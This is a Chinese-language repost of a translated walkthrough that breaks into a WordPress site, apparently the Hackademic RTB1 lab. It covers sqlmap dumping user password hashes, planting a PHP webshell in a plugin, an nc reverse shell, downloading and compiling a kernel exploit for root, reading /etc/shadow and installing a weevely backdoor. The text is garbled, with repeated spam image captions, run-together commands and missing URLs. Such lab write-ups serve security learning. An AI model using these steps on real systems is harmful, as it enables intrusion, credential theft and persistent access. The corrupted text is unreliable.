来自:Mohamed Ramadan

链接:https://resources.infosecinstitute.com/topic/hacking-a-wordpress-site/

一篇科普文,很适宜小白,长文请静下心看。

通过本文你将了解黑客常用的入手思路和技术手法,适宜热爱网路信息安全的菜鸟同学了解学习。本文将从最开始的信息搜集开始述说黑客是怎么一步步的攻占你的网站和服务器的。阅读本文你会学到以下内容:

1.渗透测试前的简单信息搜集。

2.sqlmap的使用

3.nmap的使用

4.nc大跌加壳

5.linux系统的权限提高

6.backtrack5中渗透测试工具nikto和w3af的使用等.

假定黑客要入侵的你的网站域名为:

让我们用ping命令获取网站服务器的IP地址

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

如今我们获取了网站服务器的IP地址为:173.236.138.113

找寻同一服务器上的其它网站,我们使用.

26siteshostedonIPAddress173.236.138.113

ID

Domain

SiteLink

linux命令行查看系统版本_linux命令查看版本信息_linux查看操作系统版本命令

10

11

12

13

14

15

16

17

18

19

20

linux命令行查看系统版本_linux查看操作系统版本命令_linux命令查看版本信息

21

22

23

24

25

26

173.236.138.113上有26个网站,好多黑客为了攻占你的网站可能会检测同服务器上的其它网站,而且本次是以研究为目标,我们将摒弃服务器上的其它网站,只针对你的网站来进行入侵监测。

我们须要关于你网站的以下信息:

1.DNSrecords(A,NS,TXT,MXandSOA)

2.WebServerType(Apache,IIS,Tomcat)

3.Registrar(thecompanythatownsyourdomain)

4.Yourname,address,emailandphone

5.Scriptsthatyoursiteuses(php,asp,,jsp,cfm)

6.YourserverOS(Unix,Linux,Windows,Solaris)

7.Yourserveropenportstointernet(80,443,21,etc.)

让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.

我们发觉你的DNS记录如下

让我们来确定web服务器的类型

发觉你的Web服务器是apachelinux查看操作系统版本命令,接出来确定它的版本.

IP:173.236.138.113

WebsiteStatus:active

ServerType:Apache

AlexaTrend/Rank:1Month:3,213,9683Month:2,161,753

PageViewsperVisit:1Month:2.03Month:3.7

接出来是时侯寻觅你网站域名的注册信息,你的电话、邮箱、地址等.

我们如今早已获取了你的网站域名的注册信息linux命令chm,包括你的重要信息等.

我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.

我们发觉你的网站使用了知名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Findservicesthatrunonserver(查看服务器上运行的服务)

2-FindserverOS(查看操作系统版本)

只有80端口是开放的,操作系统是Linux2.6.22(FedoraCore6),如今我们早已搜集了所有关于你网站的重要信息,接出来开始扫描找寻漏洞,例如:

Sqlinjection–Blindsqlinjection–LFI–RFI–XSS–CSRF等等.

我们将使用Nikto来搜集漏洞信息:

root@bt:/pentest/web/nikto#perlnikto.pl-h

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

我们也会用到Backtrack5R1中的W3AF工具:

root@bt:/pentest/web/w3af#./w3af_gui

linux查看操作系统版本命令_linux命令查看版本信息_linux命令行查看系统版本

我们输入要测量的网站地址,选择完整的安全审计选项.

稍等一会,你将会看见扫描结果.

linux命令查看版本信息_linux命令行查看系统版本_linux查看操作系统版本命令

发觉你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来阐述SQL注入漏洞.

%27z%220

我们通过工具发觉这个URL存在SQL注入,我们通过Sqlmap来测量这个url.

Usingsqlmapwith–uurl

过一会你会看见

输入N按回车键继续

我们发觉你的网站存在mysql显错注入,mysql数据库版本是5.0.我们通过加入参数”-dbs”来尝试采集数据库名.

发觉三个数据库,接出来通过参数”-Dwordpress-tables”来查看wordpress数据库的所有表名

linux命令行查看系统版本_linux查看操作系统版本命令_linux命令查看版本信息

通过参数“-Twp_users–columns”来查看wp_users表中的数组.

linux查看操作系统版本命令_linux命令查看版本信息_linux命令行查看系统版本

接出来猜解数组user_login和user_pass的值.用参数”-Cuser_login,user_pass–dump”

linux查看操作系统版本命令_linux命令行查看系统版本_linux命令查看版本信息

我们会发觉用户名和密码hashes值.我们须要通过以下在线破解网站来破解密码hashes

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

登录wordpress的后台wp-admin

尝试上传phpwebshell到服务器,以便捷运行一些linux命令.在插件页面找寻任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的phpwebshell,点击更新文件,之后访问我们的phpwebshell.

linux查看操作系统版本命令_linux命令行查看系统版本_linux命令查看版本信息

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

Phpwebshell被解析了,我们可以控制你网站的文件,而且我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来回调一个shell,首先在我们的笔记本上窃听5555端口.

之后在Phpwebshell上反向联接我们的笔记本linux 安装,输入你的IP和端口5555.

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

点击联接我们会听到

接出来我们尝试执行一些命令:

id
uid=48(apache) gid=489(apache) groups=489(apache) (用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins (显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux

(显示内核版本信息)

如今我们晓得,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在中搜索此版本的相关漏洞.

在服务器上测试了好多exp以后,我们用以下的exp来提高权限.

我们在ncshell上执行以下命令:

wget-ororo.c

(下载exp到服务器并重命名为roro.c)

注:好多linux内核的exp都是C语言开发的,因而我们保存为.c扩充名.

exproro.c代码如下:

#include#include#include#include#include#include#include#include#include#include#include#define RECVPORT 5555#define SENDPORT 6666int prep_sock(int port){int s, ret;struct sockaddr_in addr;s = socket(PF_RDS, SOCK_SEQPACKET, 0);if(s < 0){printf(“[*] Could not open socket.”);exit(-1);}memset(&addr, 0, sizeof(addr));

通过以上代码我们发觉该exp是C语言开发的,我们须要将它编译成elf格式的,命令如下:

gccroro.c–ororo

接出来执行编译好的exp

./roro

linux命令查看版本信息_linux查看操作系统版本命令_linux命令行查看系统版本

执行完成以后我们输入id命令

id

我们发觉我们早已是root权限了

uid=0(root)gid=0(root)

如今我们可以查看/etc/shadow文件

cat/etc/shadow

linux命令查看版本信息_linux命令行查看系统版本_linux查看操作系统版本命令

我们可以使用”johntheripper”工具破解所有用户的密码.并且我们不会这样做linux查看操作系统版本命令,我们须要在这个服务器上留下侧门以便捷我们在任何时侯访问它.

我们用weevely制做一个php小马上传到服务器上.

1.weevely使用选项

root@bt:/pentest/backdoors/web/weevely#./main.py-

2.用weevely创建一个密码为koko的php侧门

root@bt:/pentest/backdoors/web/weevely#./main.py-g-ohax.php-pkoko

接出来上传到服务器然后来使用它

root@bt:/pentest/backdoors/web/weevely#./main.py-t-u-pkoko

linux命令行查看系统版本_linux查看操作系统版本命令_linux命令查看版本信息

测试我们的hax.php侧门

linux命令查看版本信息_linux命令行查看系统版本_linux查看操作系统版本命令

往期推荐

扣绩效篇|总算踩到了SQL慢查询的坑!

原先SQL中的NULL是如此回事儿

(内涵福利)专治微服务的注册中心选择症!!

要想做好微服务,虽然有几条规则必须遵循

中国人发明的计算机,程序该如何写呢?

本文原创地址:https://www.linuxprobe.com/hksrhybbdgpn.html编辑:刘遄,审核员:暂无